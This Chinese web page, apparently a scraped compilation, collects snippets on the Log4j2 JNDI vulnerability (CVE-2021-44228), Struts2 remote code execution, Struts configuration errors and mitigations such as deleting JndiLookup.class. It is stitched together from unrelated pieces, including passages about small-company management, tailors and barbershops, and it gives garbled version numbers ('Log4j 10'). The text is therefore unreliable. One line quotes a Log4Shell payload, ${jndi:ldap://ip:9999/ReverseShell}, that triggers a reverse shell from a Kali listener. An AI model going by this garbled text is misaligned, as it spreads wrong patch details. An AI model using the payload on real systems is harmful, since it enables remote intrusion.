Log4j史诗级漏洞,我们这些小公司能做些什么?
1、Apache Log4j2是一款优秀的Java日志框架，与Logback平分秋色，大量主流的开源框架采用了Log4j2，像Apache StrutsApache Solr、Apache Druid、Apache Flink等均受影响。所以，这样一个底层框架出现问题，影响面可想而知。
2、由于许多耳熟能详的互联网公司都在使用该框架，因此阿帕奇Log4j2漏洞影响范围极大。
3、小公司层级少，绝对的扁平化管理，激励员工的手段主要就是钱，个人职务升迁的机会减少，除非公司迅速发展壮大，否则向上空间基本没有。
4、技艺高超的裁缝还可能接到为高端时装修补的订单，这些服装价值昂贵，因此修补一件衣服的收入也相当可观。 理发店 理发店是一个常规的小本生意。如果每天有二十位顾客理发，月收入就已经相当可观。
5、而这也意味着，如果你是一个多面手，将在小公司非常得心应手。在创业公司中流行一个叫「最小化可行产品」的概念，它最大的特点就是精简和不断试错。这放在小公司身上同样成立。
如何看待Struts2远程代码执行漏洞的危害
1、曝出高危安全漏洞Struts2曝出2个高危安全漏洞，一个是使用缩写的导航参数前缀时的远程代码执行漏洞，另一个是使用缩写的重定向参数前缀时的开放式重定向漏洞。
2、网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork作为网站应用框架，由于该软件存在远程代码执高危漏洞，导致网站面临安全风险。
3、远程命令执行漏洞，用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令，可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
log4j2漏洞CVE44228官方修复方案
1、默认情况下，Log4j 10 尽最大努力将 JNDI LDAP 查找限制为 localhost。Log4j 10 通过删除对消息查找模式的支持和默认禁用 JNDI 功能来修复此问题。
2、低版本除了升级版本、修改log4j2的类外，还可以通过简单的修改配置临时解决。
3、log4shell漏洞的简介 log4shell漏洞，也称为CVE-2021-44228，是2021年底发现的一个严重安全漏洞，影响了Apache的log4j2库。log4j是一个广泛使用的Java日志库，而log4shell漏洞允许攻击者在目标系统上执行任意代码。
4、漏洞情况 Apache Log4j2是一个基于Java的日志记录工具，存在JNDI注入漏洞，开发者可能会将用户输入导致的错误信息写入日志中，当程序将用户输入的数据进行日志记录时，即可触发此漏洞。
struts2的项目报错,无法加载struts.xml文件,缺少log4j2e文件。
查看tomcat 与连接数据库的服务是否打开，去任务管理器中看一下tomcat是否被占用，如果有tomcat就结束它。在去启动项目。
检查您的Struts配置文件（如struts.xml）是否有更改。有些配置可能在升级过程中不再适用或需要更改。类路径问题：确保所有的Struts相关JAR文件都在正确的位置，并且被正确地包含在类路径中。
首先检查在访问时是否写错了文件名称，如果无误，查看struts的xml文件是否配置有问题，没有问题，看以下文件的路径是放在webroot下还是放在了web-inf下，放在web-inf是不能直接访问的。只能通过action来访问。
log4j2低版本jndi漏洞修复及测试
1、Kali Linux作为监听端，接收来自${jndi：ldap：//ip：9999/ReverseShell}的payload，成功触发反弹shell攻击。
2、低版本除了升级版本、修改log4j2的类外，还可以通过简单的修改配置临时解决。
3、这可以通过删除log4j-core.jar中的JndiLookup.class，需要研发团队的配合，或者利用Java Instrument技术，修改JVM启动时的javaagent，强制JndiLookup.lookup（）返回空，这种方法成本较低，适用于所有log4j版本和框架。
4、log4j团队注意到了安全漏洞CVE-2021-44228，这个问题已经在 Log4j 10版本里修复了。Log4j’s JNDI支持没有限定哪个名字可以被用，一些协议是非安全的，可能会被允许远程代码执行。
5、情况分析 近日，监测发现互联网中出现 Apache Log4j2 远程代码执行漏洞。攻击者可利用该漏洞构造特殊的数据请求包，最终触发远程代码执行。由于该漏洞影响范围极广，建议广大用户及时排查相关漏洞。
标签： #struts2漏洞log4j
